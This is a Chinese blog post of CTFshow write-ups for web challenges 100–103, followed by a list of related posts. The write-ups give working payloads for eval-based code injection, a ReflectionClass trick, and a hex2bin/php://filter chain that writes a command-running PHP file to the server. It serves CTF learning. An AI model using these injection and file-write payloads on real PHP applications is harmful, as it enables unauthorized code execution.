PHP代码审计续

PHP代码审计入门 目录 一:代码审计的定义 二:为什么选择PHP学习代码审计 三:入门准备 四:PHP常见的套路 4.1 代码结构 4.2 目录结构 4.3 参考项目 五:如何调试代码 六:代码审计的本质 一:代码审计的定义 通过阅读一些程序的源码去发现潜在的漏洞,比如代码不规范,算法性能不够,代码重用性不强以及其他的缺陷等等 从安全人员的角度来看是:查找代码中是否存在安全问题,推断用户在操... 阅读详情

web100

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

is_numeric()用来检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE 

过滤$v2不能有;但是$v3要有;

eval("$v2('ctfshow')$v3");字符串拼接,然后用eval执行

构造?v1=1&v2=var_dump($ctfshow)&v3=;

 我们会看到一个里面有个0x2d,对应ASCII码就是-,我们替换一下成功提交就可以了

ctfshow{7c4e97b8-43ba-48af-8dbb-5466a0ca6796} 

web101

我们可以看出这道题增加许多的过滤,查找一下我们需要类反射

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释


$class = new ReflectionClass('Person'); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args);// 相当于实例化Person 类

利用ReflectionClass建立ctfshow类的反射类,new ReflectionClass($class)获得class的反射对象(包含了元数据信息)。反射返回的对象是class的元数据对象(包含class的所有属性/方法的元数据信息)

也就是我们创建之后需要用一个对象来接收一下

和上一题一样,他们之间是用and连接,只需要保证我们之间有一个是满足条件的就为true,但是&&就要三个同时满足。

payload:?v1=1&v2=echo new Reflectionclass&v3=;

 我们修改提交以后发现是错的,对比上一题的最后一段,这一题就只有11位,所以少了一位,我们可以去一个一个的试,也可以爆破。

web102

call_user_func(callback,parameter )          //是一个回调函数

第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。

会把参数过一下回调函数

$s = substr($v2,2);
    $str = call_user_func($v1,$s);
    file_put_contents($v3,$str);

 先是第二句话,让变量s过一下v1函数,变量s 是substr($v2,2);   这句话的意思是从下标为2的位置获取字符串,因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)。

然后file_put_contents,把str变量给v3

v2必须是数字,科学计数e是唯一可以在is_numeric中不会影响判断数字的字符,所以可选字符只有0-9和e。

v1这里使用hex2bin()作为回调函数(16进制转化为字符)

v3运用伪协议写入文件

<?=是echo() 的快捷用法,它会把结果输出出来 

直接用cat *把当前目录下的文件都输出

先是get

?v2=125044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=1.php

$a=<?=`cat *`;
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着                        =的base64解码出来的内容是相同的。
                       bin2hex是把ASCII 字符的字符串转化为16进制
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
v2=005044383959474e6864434171594473

 用bin2hex将字符串转换成十六进制,前面的两个数字随便加一个就可以了

后面访问1.php再查看源代码就可以得出结果了

web103

增加了preg_match() ,但是不影响,和上一题一样的

PHP代码审计之基础篇 最近在学PHP代码审计,那就将学习的笔记都整理一遍吧~ 前期准备: 1、安装相关软件,如Sublime text、 Notepad++、editplus、 Seay源代码审计系统等 2、获得源码,可以到网上下载各种网站源码 3、安装网站 审计方法: 通读全文法:麻烦但全面 敏感函数参数回溯法:高效常用,Seay源代码审计系统 定向功能分析法:主要根据程序的业 阅读详情

相关推荐

PHP代码审计

目的:对源代码进行审计,寻找代码中的BUG和安全漏洞。

qq_73792226的博客 1777

PHP的bin2hex是干什么的?底层原理是什么?

在这个示例中,"Hello" 的每个字符被转换为对应的 ASCII 值(H 的 ASCII 值为 72,e 的 ASCII 值为 101,以此类推),然后将这些 ASCII 值转换为两个十六进制字符。这在某些情况下是有用的,比如在调试或显示加密数据时,或者在需要将二进制数据转换为字符串传递给其他系统或组件时。函数遍历给定的二进制字符串中的每个字节,并将每个字节转换为两个十六进制字符。它通过将每个字节转换为两个十六进制字符,将二进制数据转换为可读的十六进制字符串。函数返回的十六进制字符串是字母小写的。

长风破浪会有时的博客 636

php代码审计

通用代码审计思路 •根据敏感关键字回溯参数传递过程(逆向追踪) •检查敏感函数的参数,进行回溯变量,判断变量是否可控并且没有经过严格的过滤,这是一个逆向追踪的过程。 •寻找可控参数,正向追踪变量传递过程(正向追踪)•跟踪传递的参数,判断是否存入到敏感函数内或者传递的过程中具有代码逻辑漏洞。 •寻找敏感功能点,通读功能点代码(直接挖掘功能点漏洞)•根据自身经验判断在该应用中的哪些功能可能出现漏洞。 •直接通读全文代码 审计方向: 根据功能点审计:根据业务的功能来进行审计。 用浏览器进行浏览,找

qq_48008847的博客 2631

CTFshow web入门web100-php12

is_numeric是用于检测变量是否为数字或数字字符串,后面有 eval 函数,明示需要进行命令执行 v3需要有分号,v2不能有分号,这样的话v0就 = $v1 and FALSE and FALSE,但是php的运算具有优先级,如$a = true and false;,因为等号大于and,所以这里赋值为$a = True。可以把中间的(‘ctfshow’)注释掉,办法有很多种get_defined_vars()查看所有变量。,然后和后面的进行逻辑运算,并不会修改。and 的优先级是比等号要低的;

weixin_74336671的博客 200

php代码审计-2

方法(也称为函数)是用于封装可重用代码的块。方法可以接受参数并返回值。定义一个简单的方法:php?方法的调用和参数传递定义方法后,可以通过方法名加括号()来调用它。如果方法有参数,需要在括号内传递参数。示例:调用greet方法和name参数传递php// 输出:Hello, Alice!// 输出:Hello, Bob!?参数在多个函数间传递和跟踪可以通过参数传递和返回值来实现数据的来回传递,以下示例展示了参数如何在多个函数之间传递,并跟踪每一步的变化。php。

qq_38122566的博客 1049

PHP代码审计工具Rips的使用

Rips 0x00 介绍 最近在准备CTF攻防比赛时发现了一个很好的代码审计工具,接下来就给大家介绍此工具的使用 在安全工作中,代码审计是很重要的一项技能。在面对大规模的代码时, 使用自动化工具辅助人工漏洞挖掘,可以显著提高审计工作的效率。学会利用自动化代码审计工具,是每一个代码审计人员必备的能力。 它使用了静态分析技术,能够自动化地挖掘PHP源代码潜在的安全漏洞如XSS ,sql注入,敏感信息...

普通Gopher 5907

php 自定义 bin2hex,php bin2

PHP bin2hex() 函数定义和用法bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。语法bin2hex(string)bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。语法为bin2hex(string),接受单个参数string,然后返回参数中传递的字符串的十六进制值。php bin2hex()函数怎么用?bin2hex() 函数把 ASCII ...

weixin_39996739的博客 250

OSWE—我的代码审计之路

大家好,我是 zkaq-念旧。上周,我终于获得了我梦寐以求的 OSWE 认证,然后安心过了个节,现在我也算是半只脚踏进代码审计圈了。在本篇文章中,我将介绍有关于 OSWE 课程的信息、考试规则、解答常见疑问,以及分享我的备考经验,我将带领你一步一步拿到属于你自己的 OSWE 认证。疯狂暗示(话说社区好像没有 “证书分享” 板块,要不加一个?大家考了证都来分享分享经验和心得,争取掌控全员 OSCE3 [狗头])疯狂暗示我不会任何的内网渗透知识,但我在代码领域专精。

zkaqlaoniao的博客 3858

JS:实现PHP中的bin2hex()和hex2bin()

```javascript // 返回数据类型详情 function type(s){ return Object.prototype.toString.call(s) } /** * 给特殊字符添加转义符:\ ' " \n \r * @param s 需要转义的内容 * @param bool auto;是否在两边添加双引号 */ function addslash(s,bool){ s=s.toString().split("\\").join("\\\\").sp...

HaveNoFear的博客 1014

PHP bin2hex()函数基础实例讲解

PHP bin2hex() 函数 实例 把 “Hello World!” 转换为十六进制值: <?php $str = bin2hex("Hello World!"); echo($str); ?> 定义和用法 bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。字符串可通过使用 pack() 函数再转换回去。 语法 bin2hex( _string_ ) 实例 1 把一个字符串值从二进制转换为十六进制,再转换回去: <?php $str = "Hello world!"; echo bin2hex($str) . "<br>"; echo pack("H*",bi

项目计划书、规划文档模板

项目计划书、规划文档模板 最近通过项目实践经历,整理出的一套项目计划书(仅供自己参考梳理思路使用) 有喜欢的文末加VX 辛苦码字如有转载请标明出处谢谢!——木研 更新的简版项目规划文档! 原版文件请+vx :baierfa ...

weixin_43194923的博客 986

【ctfshow】PHP特性2

目录 web100 web101 web102 web103 web104 web105 web106 web107 web108 web109 web110 web100 include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($...

qq_61109509的博客 1268

TEC 高精度控温算法:实现精准升降温与恒温控制

本文深入解析了TEC高精度控温算法的核心原理与工程实践。针对TEC非线性、时变的特性,算法通过智能状态机实现精准升降温与恒温控制,并详细阐述了参数整定、硬件协同及调试优化的系统性方法,为半导体激光器、PCR仪等高精度温控应用提供了一套完整的解决方案。

weixin_29212867的博客 1010

【PHP代码审计】——开启你的代码审计生涯

感觉最近的网络安全学习遇到了瓶颈,因为我是学习的web安全,所以自然最先学习的就是熟悉owtop10漏洞,并且我当前的专业是软件工程,所以各种计算机语言都接触过,但都学的不深,所以网安学习越深入就越感觉代码能力的重要性,所以我决定将当前的重心转到代码审计上,了解漏洞形成原因的同时,增加自己对php语言的理解,加油

Demo不是emo的博客 6120

ENSP实验一:防火墙基础配置

配置client(内网)、FTP Server(外网)的IP地址。进入防火墙,输入密码:默认为admin@123。

Carohuan的博客 1万+

Matlab安装Embedded Coder Support Package for Texas Instruments C2000 Processors教程

Matlab安装Embedded Coder Support Package for Texas Instruments C2000 Processors

m0_69133594的博客 2822

php代码审计入门

代码审计指的是对源代码进行检查,寻找代码中的bug以及安全缺陷(漏洞)。代码审计这是一个需要多方面技能的技术,也是需要一定的知识储备。我们需要掌握多种编程语言,安全工具的使用、漏洞原理、漏洞的修复方式、函数的缺陷等等,如果再高级一些,我们需要学习不同的设计模式,编程思想、MVC框架以及常见的框架,开发项目的思维。那么对于像我这样的小白应该是需要一个路线,一个流程。

weixin_64751732的博客 2579

YOLOv11模型改进-模块-引入空间池化模块StripPooling 解决遮挡、小目标

本文介绍了一种新的空间池化策略,称为,用于场景解析。结构:包括两个平行路径,分别进行水平和垂直方向的条带池化,然后通过1D卷积层进行特征调整。:结合了条带池化和传统的空间池化,分别用于捕捉长距离和短距离的依赖关系。作用捕捉长距离依赖:通过长条形的池化窗口,有效捕捉分布离散的区域之间的关系。避免不相关信息干扰:窄条形的池化窗口有助于捕捉局部上下文,防止不相关区域干扰标签预测。提高场景解析性能:在多个基准数据集上,证明了这种方法能够显著提升场景解析的效果。

qq_64693987的博客 4203

代码审计思路之PHP代码审计

00×0 前言 最近也是边挖src边审计代码,总结下最近的php代码审计的一些思路,我一般按照顺序往下做,限于能力水平,可能会有不对或者欠缺的地方,希望各位师傅能够指导。 00×1 前期工作,需要的工具(我使用的) PHPStorm|是PHP编程语言开发的集成环境。 Fotify|代码审计静态扫描工具,商业化静态代码扫描工具,误报率相对较低。 seay|源代码审计工具 CodeQl | 高效的QL非商业的开源代码自动化审计工具。 xcheck| Xcheck 是一款静态应用安全测试工具,旨在及时发现业务代码

kali_Ma的博客 2861

人工智能训练师三级补贴3120元申领全攻略|条件+流程+五省市对比

补贴是真的,但不是"白给"的。你需要满足社保、户籍、时间等条件,严格按照流程操作。记住四件事先确认自己是否满足条件,再报名——别考完了才发现领不到紧缺工种补贴更高——确认你所在城市是否在紧缺目录中证书下发后12个月内申请——设个日历提醒材料准备齐全再提交——避免来回折腾如果你正在考虑考人工智能训练师三级证书,想要从报名到备考到拿证到申领补贴的完整一站式指南,欢迎查看我的付费专栏:📖《人工智能训练师三级·从零到拿证完全指南》80篇系统化内容,覆盖报名、备考、冲刺、拿证全流程。

白话机器学习 1516

Python爬虫实战:携程/飞猪酒店信息爬取与动态价格分析

在当今数字化旅游时代,酒店预订平台的复杂筛选条件和动态定价机制为数据分析和价格监控带来了巨大挑战。本文将深入探讨如何使用最新的Python爬虫技术来抓取携程和飞猪平台的酒店信息,处理复杂的筛选条件,并解析动态价格数据。本文详细介绍了如何使用最新的Python爬虫技术来抓取携程和飞猪平台的酒店信息。通过结合httpxplaywrightparsel强大的反反爬虫能力:通过浏览器指纹伪装、请求签名、智能延迟等技术应对各种反爬措施高效的数据解析:使用CSS选择器和XPath精确提取所需信息灵活的数据存储。

2201_76125261的博客 413

PHP代码审计18—PHP代码审计小结

阶段性小结

W0ngk,一个安全菜鸡,一直在模仿,尚未有超越。 3988

YOLO26改进策略【卷积层】| CVPR 2024 可变形卷积 v4(DCNv4)无界权重提表达 + 线程合并降冗余,强化模型收敛速度

DCNv4(Deformable Convolution v4)是一种专为广泛视觉应用设计的高效算子,它对DCNv3进行了关键改进,有效解决了DCNv3存在的速度慢和表达能力受限等问题。

Limiiiing的博客 692

[ 代码审计篇 ] 代码审计思路 详解

源代码审计是网络安全技术工作的重要内容,是安全岗位必备技能。 渗透测试岗几乎都会问道代码审计,这篇文章就来聊一聊代码审计的思路。 这篇文章就来聊一聊什么是代码审计,什么是静态测试 ? 重点部分:代码审计工具介绍,代码审计的思路介绍。 不要觉得代码审计很容易,也不要觉得代码审计很难,重在坚持,重在分析。 文中出现的细节在后续中都会有详细解读!!!

qq_51577576的博客 2万+

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

php代码审计参考

== 在进行比较的时候,会先判断两种字符串的类型是否相等,当等号两边类型不同时,会先转换 为相同的类型,再对转换后的值进行比较,如果比较一个数字和字符串或者涉及到数字内容的字符 串,则字符串会被转换成数值并且比较按照常数值进行比较.。0e开头的全部相等(绕过==判断),两个字符串转换成MD5值时都是0e开头,0e 纯数字这种格式 的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。

A526847的博客 1824

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

上一篇: PHP代码审计
下一篇: 流量,日志分析
芝诺的乌龟M
博客等级 码龄4年 81粉丝 57原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值